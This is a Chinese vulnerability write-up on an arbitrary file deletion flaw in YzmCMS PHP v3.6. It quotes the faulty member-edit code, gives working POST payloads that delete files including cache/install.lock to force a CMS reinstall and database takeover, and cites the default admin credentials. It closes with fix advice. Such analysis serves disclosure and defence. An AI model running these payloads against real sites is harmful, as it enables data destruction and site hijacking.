0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析_文件删除

0x01 代码分析

1、文件位置: /application/member/controller/member.class.php 第118-132行中:


1. public function edit(){   
2.     $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;  
3.     if(isset($_POST['dosubmit'])){  
4.         if($_POST['password'] == ''){  
5.             unset($_POST['password']);  
6.         }else{  
7.             $_POST['password'] = password($_POST['password']);  
8.         }  
9.         if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){         
10. 10.             if($_POST['userpic'] != ''){  
11. 11.                 $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);  
12. 12.                 if(is_file($userpic)) @unlink($userpic);    //删除头像文件  
13. 13.                 $_POST['userpic'] = '';  
14. 14.             }  
15. 15.         }


这段函数中对提交的参数进行处理,当del_userpic满足条件,将userpic进行处理拼接到完整的路径中,然后使用unlink函数进行删除。参数Userpic可控,导致程序在实现上存在任意文件删除漏洞。

2、另外,这里应该是程序作者的一个逻辑缺陷,正常操作userpic并无法删除头像文件,因为这里在路径拼接处理上存在问题:

1. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);   
2. 等价于  
3. $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);


默认情况下,userpic提交的参数为/uploads/201801/18/180118105655915.jpg,这种情况下,“/”被过滤,组成的路径变成uploads20180118180118105655915.jpg,导致程序在实现上并无法正确删除头像文件。

3、如何绕过这种限制?

我们知道“/”被过滤,我们可以使用“\”,url编码%5C,绕过这种限制,提交

\\uploads\\201801\\18\\180118105655915.jpg,即可正常删除图片文件,这里应该是作者的一个逻辑缺陷,导致头像文件删除功能不正常。

0x02 漏洞利用

1、在网站根目录下,新建test.php作为测试文件:

 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析_逻辑缺陷_02

2、利用管理员权限登录后台,可利用默认后台默认账号密码来猜解。

默认后台路径:http://127.0.0.1/admin/index/login.html

管理员默认账号密码均为:yzmcms

构造url连接,可成功删除根目录下的测试文件。

Payload:http://127.0.0.1/member/member/edit/userid/1.html

POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt

 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析_逻辑缺陷_03

 

3、如何进一步利用?

思路:删除\\cache\\install.lock文件,进行cms重装,劫持网站数据库。

Payload:http://127.0.0.1//application/install/index.php

POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock

构造这样的请求,即可删除install.lock文件,然后访问

http://127.0.0.1/application/install/index.php 即可进行CMS重装。

 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析_php_04

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析_文件删除_05